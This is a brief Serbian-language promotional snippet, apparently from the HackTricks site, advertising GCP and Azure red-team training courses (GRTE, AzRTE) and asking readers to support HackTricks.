Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks